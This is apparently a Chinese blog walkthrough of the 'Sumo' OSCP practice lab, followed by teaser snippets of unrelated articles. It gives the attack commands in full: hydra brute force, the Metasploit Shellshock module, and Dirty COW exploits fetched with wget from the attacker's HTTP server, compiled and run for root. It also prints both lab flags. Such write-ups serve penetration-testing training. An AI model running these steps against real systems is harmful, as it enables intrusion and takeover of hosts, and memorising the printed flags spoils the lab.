OSCP系列靶场-Esay-Sumo
OSCP系列靶场-Esay-Sumo
总结
getwebshell : nikto扫描 → 发现shellshock漏洞 → 漏洞利用 → getwebshell
提 权 思 路 : 内网信息收集 → 内核版本较老 →脏牛提权
准备工作
- 启动VPN
获取攻击机IP →192.168.45.194

- 启动靶机
获取目标机器IP →192.168.190.87

信息收集-端口扫描
目标开放端口收集
- Nmap开放端口扫描2次(多次扫描减少误扫)
sudo nmap --min-rate 10000 -p- 192.168.190.87PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

开放的端口->22,80
目标端口对应服务探测
# tcp探测
sudo nmap -sT -sV -O -sC -p22,80 192.168.190.87PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))

信息收集-端口测试
22-SSH端口的信息收集
22-SSH端口版本信息与MSF利用
通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 5.9p1 Debian 较老
# 搜索对应脚本
msf6 > searchsploit OpenSSH 5.9p1
发现搜索到可利用的和用户枚举有关(待定)

22-SSH协议支持的登录方式
通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root<span class="label label-primary">@192.168.190.87</span> -v
显示publickey、password就是支持密钥以及密码登录

22-SSH手动登录尝试(无)
因为支持密码登录,尝试root账户的密码弱密码尝试
sudo ssh root<span class="label label-primary">@192.168.190.87</span> -p 22
# 密码尝试
password > root
弱密码尝试失败

22-SSH弱口令爆破(静静等待)
因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6
sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.190.87 ssh -s 22
挂着工具进行爆破,我们尝试后续信息收集

80-HTTP端口的信息收集
访问 http://192.168.190.87:80 不是CMS我们直接从HTML隐藏信息收集开始
提示是存在启动的应用,但是没显示

信息收集-HTML隐藏信息查看
# 包括文章中是否写明一些敏感信息
curl http://192.168.190.87:80
无

信息收集-目录扫描
信息收集-目录扫描初步
# 用两个扫描器进行扫描,更加的谨慎一些
dirsearch -u http://192.168.190.87:80 -x 302,403,404
dirb http://192.168.190.87:80
没有扫出目录,准备大字典

信息收集-目录扫描(深度/大字典)
gobuster dir -u http://192.168.190.87:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 1000

在进行大字典的时候,发现无事可干,尝试利用其他工具探测一下web

探测完毕,毫无头绪
漏洞探测-nikto扫描
nikto -h http://192.168.190.87:80

探测之后提示似乎容易受到shellshock漏洞攻击CVE-2014-6278
似乎与首页的提示存在启动的应用有关
漏洞利用-getwebshell
Shellshock漏洞于2014年9月公开,并且对网络安全造成了相当大的影响。这个漏洞的本质是Bash解释器在处理环境变量时存在一种缺陷,允许远程攻击者通过精心构造的恶意环境变量注入任意的Shell命令,从而实现执行恶意代码的能力。
Shellshock攻击
使用msfconsole,搜索攻击方式
msfconsole
search CVE-2014-6271

在这里选择了1因为探测出来是apache的站点,1比2更靠谱
使用msf漏洞利用模块:exploit(multi/http/apache_mod_cgi_bash_env_exec)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set rhosts 192.168.190.87
set lhost 192.168.45.194
set targeturi /cgi-bin/test
run
成功getwebshell

内网遨游-getshell
交互shell
交互shell-python
由于获取的shell交互不友好,利用python获得新的交互shell
# 如果是msf的要先shell
shell
# 利用python获取交互shell -> python失败使用python3
python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取
www-data<span class="label label-primary">@ubuntu</span>:/usr/lib/cgi-bin$ find / -name local.txt 2>/dev/null
/usr/lib/cgi-bin/local.txt
www-data<span class="label label-primary">@ubuntu</span>:/usr/lib/cgi-bin$ cat /usr/lib/cgi-bin/local.txt
6b8bdd93e00d8ea52fcc7f201eba9f56
信息收集-内网基础信息收集
提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备
检测Linux操作系统的发行版本
较老的Ubuntu以及Linux系统可以overlayfs提权
# 确定发行版本
www-data<span class="label label-primary">@ubuntu</span>:/usr/lib/cgi-bin$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 12.04 LTS
Release: 12.04
Codename: precise
发行版本为Ubuntu 12.04,有点能overlayfs提权
检测Linux操作系统的内核版本
较低的内核版本可以进行脏牛提权
www-data<span class="label label-primary">@ubuntu</span>:/usr/lib/cgi-bin$ uname -a
Linux ubuntu 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
内核版本为3.2.0

权限提升
overlayfs提权(无)
若存在以下情况进行overlayfsLinux Kernel Version提权
| 系统 | 版本 |
|---|---|
| Linux Kernel Version | 大于3.13.0小于3.19 |
| Ubuntu | Linux 15.04 |
| Ubuntu | Linux 14.10 |
| Ubuntu | Linux 14.10 |
| Ubuntu | Linux 12.04 |
msfcontrol
msf > searchsploit overlayfs
发现内核版本不太符合

脏牛提权尝试1(失败)
若存在以下情况进行脏牛提权
| 系统 | 版本 |
|---|---|
| Centos7/RHEL7 | 3.10 .0-327.36.3.e17 |
| Cetnos6/RHEL6 | 4.4.0-45.66 |
| Ubuntu 16.10 | 2.6.32-642 .6.2.e16 |
| Ubuntu 16.04 | 4.8.0-26.28 |
| Ubuntu 14.04 | 3.13.0-100.147 |
| Debian 8 | 3.16.36-1+deb8u2 |
| Debian 7 | 3.2.82-1 |
msf6 > searchsploit dirty

# cp到本地
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp .
# 确认编译语句
cat 40847.cpp

得到编译以及执行的语句
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil./dcow -s
python3开启http服务
# 利用python开启http服务,方便目标机器上下载文件
sudo python3 -m http.server 80
# 目标机器到tmp目录下下载(有下载权限)
cd /tmp
# 下载
wget http://192.168.45.194/40847.cpp
# 给权限
chmod +x 40847.cpp
# 编译
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
# 运行
./dcow -s
发现不能用`g++``

脏牛提权尝试2
尝试换一个
# cp到本地
cp /usr/share/exploitdb/exploits/linux/local/40839.c .
# 确认编译语句
cat linux/local/40839.c

gcc -pthread dirty.c -o dirty -lcrypt创建firefart用户,密码自输
python3开启http服务
# 利用python开启http服务,方便目标机器上下载文件
sudo python3 -m http.server 80
# 目标机器到tmp目录下下载(有下载权限)
cd /tmp
# 下载
wget http://192.168.45.194/40839.c
# 给权限
chmod +x 40839.c
# 编译
gcc -pthread 40839.c -o dirty -lcrypt
# 运行
./dirty

# 重新登录su firefart用户密码123456
www-data<span class="label label-primary">@ubuntu</span>:/usr/lib/cgi-bin$ su firefart
Password: 123456firefart<span class="label label-primary">@ubuntu</span>:/usr/lib/cgi-bin# id
uid=0(firefart) gid=0(root) groups=0(root)
提权成功

FLAG2获取
firefart<span class="label label-primary">@ubuntu</span>:/tmp# cat /root/proof.txt
22f3656d21fb5ef444ea898e69073476

总结
从发现ssh版本开始就感觉有点偏老,应该多尝试老漏洞
有时候nikto工具也可以适当用一下,指不定有其他收获
相关文章:
OSCP系列靶场-Esay-Sumo
OSCP系列靶场-Esay-Sumo 总结 getwebshell : nikto扫描 → 发现shellshock漏洞 → 漏洞利用 → getwebshell 提 权 思 路 : 内网信息收集 → 内核版本较老 →脏牛提权 准备工作 启动VPN 获取攻击机IP → 192.168.45.194 启动靶机 获取目标机器IP → 192.168.190.87 信息收…...
本地电脑搭建web服务器、个人博客网站并发布公网访问 【无公网IP】(1)
文章目录 前言1. 安装套件软件2. 创建网页运行环境 指定网页输出的端口号3. 让WordPress在所需环境中安装并运行 生成网页4. “装修”个人网站5. 将位于本地电脑上的网页发布到公共互联网上 前言 在现代社会,网络已经成为我们生活离不开的必需品,而纷繁…...
Python基础List列表定义与函数
如何定义一个非空的列表? name_list ["liming","xiaohong",15,{"hobby":"basketball"}] 列表的特点: 1.列表是有序的 2.可以存放多个元素 3.每个元素可以是任何数据类型 定义一个空列表 name_list [] 访…...
typeScript--[数据定义]
一.安装ts 1.命令行运行如下命令,全局安装 TypeScript: npm install -g typescript2.安装完成后,在控制台运行如下命令,检查安装是否成功 tsc -V 二.创建ts文件 1.创建一个day01.ts文件,随便在里面码一点代码&…...
【常见相机模型】
常见相机模型 enum class Type {kPinhole 0,kUnifiedProjection 1,kOmni 2, //optimize_on_spherekEqFisheye 3};其余类型optimize_on_plane这4种类型的相机模型具有以下差异: kPinhole (针孔相机模型):这是最基本和常见的相机模型。它假设光线通过…...
大数据-玩转数据-Flink状态编程(上)
一、Flink状态编程 有状态的计算是流处理框架要实现的重要功能,因为稍复杂的流处理场景都需要记录状态,然后在新流入数据的基础上不断更新状态。 SparkStreaming在状态管理这块做的不好, 很多时候需要借助于外部存储(例如Redis)来手动管理状态, 增加了编…...
主动获取用户的ColaKey接口
主动获取用户的ColaKey接口 一、主动获取用户的ColaKey接口二、使用步骤1、接口***重要提示:建议使用https协议,当https协议无法使用时再尝试使用http协议***2、请求参数 三、 请求案例和demo1、请求参数例子(POST请求,参数json格式)2、响应返…...
C#写一个UDP程序判断延迟并运行在Centos上
服务端 using System.Net.Sockets; using System.Net;int serverPort 50001; Socket server; EndPoint client new IPEndPoint(IPAddress.Any, 0);//用来保存发送方的ip和端口号CreateSocket();void CreateSocket() {server new Socket(AddressFamily.InterNetwork, SocketT…...
Kafka核心原理第二弹——更新中
架构原理 一、高吞吐机制:Batch打包、缓冲区、acks 1. Kafka Producer怎么把消息发送给Broker集群的? 需要指定把消息发送到哪个topic去 首先需要选择一个topic的分区,默认是轮询来负载均衡,但是如果指定了一个分区key&#x…...
巨人互动|游戏出海H5游戏出海规模如何?
H5游戏出海是指将H5游戏推广和运营扩展到国外市场的行为,它的规模受到多个因素的影响。本文小编讲一些关于H5游戏出海规模的详细介绍。 1、市场规模 H5游戏出海的规模首先取决于目标市场的规模。不同国家和地区的游戏市场规模差异很大,有些市场庞大而成…...
【爬虫】实验项目三:验证码处理与识别
目录 一、实验目的 二、实验预习提示 三、实验内容 实验要求 基本要求: 改进要求A: 改进要求B: 四、实验过程 基本要求 五、源码如下 六、资料 一、实验目的 部分网站可能会使用验证机制来阻止用户无效登录或者是验证用户不是用程…...
广东成人高考报名将于9月14日开始!
截图来自广东省教育考试院官网* 今年的广东成人高考正式报名时间终于确定了! 报名时间:2023年 9 月14—20日 准考证打印时间:考前一周左右 考试时间:2023年10月21—22日 录取时间:2023年12 月中上旬 报名条件: …...
pytorch中文文档学习笔记
先贴上链接 torch - PyTorch中文文档 首先我们需要安装拥有pytorch的环境 conda指令 虚拟环境的一些指令 查看所有虚拟环境 conda info -e 创建新的虚拟环境 conda create -n env_name python3.6 删除已有环境 conda env remove -n env_name 激活某个虚拟环境 activate env…...
element-ui全局导入与按需引入
全局引入 npm i element-ui -S 安装好depencencies里面可以看到安装的element-ui版本 然后 在 main.js 中写入以下内容: import Vue from vue; import ElementUI from element-ui; import element-ui/lib/theme-chalk/index.css; import App from ./App.vue;Vue.…...
go 地址 生成唯一索引v2 --chatGPT
问:golang 函数 getIndex(n,addr,Hlen,Tlen) 返回index。参数n为index的上限,addr为包含大小写字母数字的字符串,Hlen为截取addr头部的长度,Tlen为截取addr尾部的长度 gpt: 你可以编写一个函数来计算根据给定的参数 n、addr、Hlen 和 Tlen …...
JSON XML
JSON(JavaScript Object Notation)和XML(eXtensible Markup Language)是两种常用的数据交换格式,用于在不同系统之间传输和存储数据。 JSON是一种轻量级的数据交换格式,它使用易于理解的键值对的形式表示数…...
2023年MySQL实战核心技术第四篇
七 . 吃透索引:...
cmake编译(qtcreator)mingw下使用的osg3.6.5
官网下载osg3.6.5源码,先不使用依赖库,直接进行编译 如果generate后报错,显示找不到boost必须库,则手动增加路径。然后先在命令行中使用mingw32-make,如果显示不存在,则需要去环境变量里配置一下这个工具的…...
Python钢筋混凝土结构计算.pdf-混凝土强度设计值
计算原理: 需要注意的是,根据不同的规范和设计要求,上述公式可能会有所差异。因此,在进行混凝土强度设计值的计算时,请参考相应的规范和设计手册,以确保计算结果的准确性和合规性。 代码实现: …...
elasticsearch的索引库操作
索引库就类似数据库表,mapping映射就类似表的结构。我们要向es中存储数据,必须先创建“库”和“表”。 mapping映射属性 mapping是对索引库中文档的约束,常见的mapping属性包括: type:字段数据类型,常见的…...
线程同步:确保多线程程序的安全与高效!
全文目录: 开篇语前序前言第一部分:线程同步的概念与问题1.1 线程同步的概念1.2 线程同步的问题1.3 线程同步的解决方案 第二部分:synchronized关键字的使用2.1 使用 synchronized修饰方法2.2 使用 synchronized修饰代码块 第三部分ÿ…...
(二)TensorRT-LLM | 模型导出(v0.20.0rc3)
0. 概述 上一节 对安装和使用有个基本介绍。根据这个 issue 的描述,后续 TensorRT-LLM 团队可能更专注于更新和维护 pytorch backend。但 tensorrt backend 作为先前一直开发的工作,其中包含了大量可以学习的地方。本文主要看看它导出模型的部分&#x…...
【HTML-16】深入理解HTML中的块元素与行内元素
HTML元素根据其显示特性可以分为两大类:块元素(Block-level Elements)和行内元素(Inline Elements)。理解这两者的区别对于构建良好的网页布局至关重要。本文将全面解析这两种元素的特性、区别以及实际应用场景。 1. 块元素(Block-level Elements) 1.1 基本特性 …...
聊一聊接口测试的意义有哪些?
目录 一、隔离性 & 早期测试 二、保障系统集成质量 三、验证业务逻辑的核心层 四、提升测试效率与覆盖度 五、系统稳定性的守护者 六、驱动团队协作与契约管理 七、性能与扩展性的前置评估 八、持续交付的核心支撑 接口测试的意义可以从四个维度展开,首…...
selenium学习实战【Python爬虫】
selenium学习实战【Python爬虫】 文章目录 selenium学习实战【Python爬虫】一、声明二、学习目标三、安装依赖3.1 安装selenium库3.2 安装浏览器驱动3.2.1 查看Edge版本3.2.2 驱动安装 四、代码讲解4.1 配置浏览器4.2 加载更多4.3 寻找内容4.4 完整代码 五、报告文件爬取5.1 提…...
安卓基础(aar)
重新设置java21的环境,临时设置 $env:JAVA_HOME "D:\Android Studio\jbr" 查看当前环境变量 JAVA_HOME 的值 echo $env:JAVA_HOME 构建ARR文件 ./gradlew :private-lib:assembleRelease 目录是这样的: MyApp/ ├── app/ …...
基于TurtleBot3在Gazebo地图实现机器人远程控制
1. TurtleBot3环境配置 # 下载TurtleBot3核心包 mkdir -p ~/catkin_ws/src cd ~/catkin_ws/src git clone -b noetic-devel https://github.com/ROBOTIS-GIT/turtlebot3.git git clone -b noetic https://github.com/ROBOTIS-GIT/turtlebot3_msgs.git git clone -b noetic-dev…...
【电力电子】基于STM32F103C8T6单片机双极性SPWM逆变(硬件篇)
本项目是基于 STM32F103C8T6 微控制器的 SPWM(正弦脉宽调制)电源模块,能够生成可调频率和幅值的正弦波交流电源输出。该项目适用于逆变器、UPS电源、变频器等应用场景。 供电电源 输入电压采集 上图为本设计的电源电路,图中 D1 为二极管, 其目的是防止正负极电源反接, …...
纯 Java 项目(非 SpringBoot)集成 Mybatis-Plus 和 Mybatis-Plus-Join
纯 Java 项目(非 SpringBoot)集成 Mybatis-Plus 和 Mybatis-Plus-Join 1、依赖1.1、依赖版本1.2、pom.xml 2、代码2.1、SqlSession 构造器2.2、MybatisPlus代码生成器2.3、获取 config.yml 配置2.3.1、config.yml2.3.2、项目配置类 2.4、ftl 模板2.4.1、…...
Linux nano命令的基本使用
参考资料 GNU nanoを使いこなすnano基础 目录 一. 简介二. 文件打开2.1 普通方式打开文件2.2 只读方式打开文件 三. 文件查看3.1 打开文件时,显示行号3.2 翻页查看 四. 文件编辑4.1 Ctrl K 复制 和 Ctrl U 粘贴4.2 Alt/Esc U 撤回 五. 文件保存与退出5.1 Ctrl …...
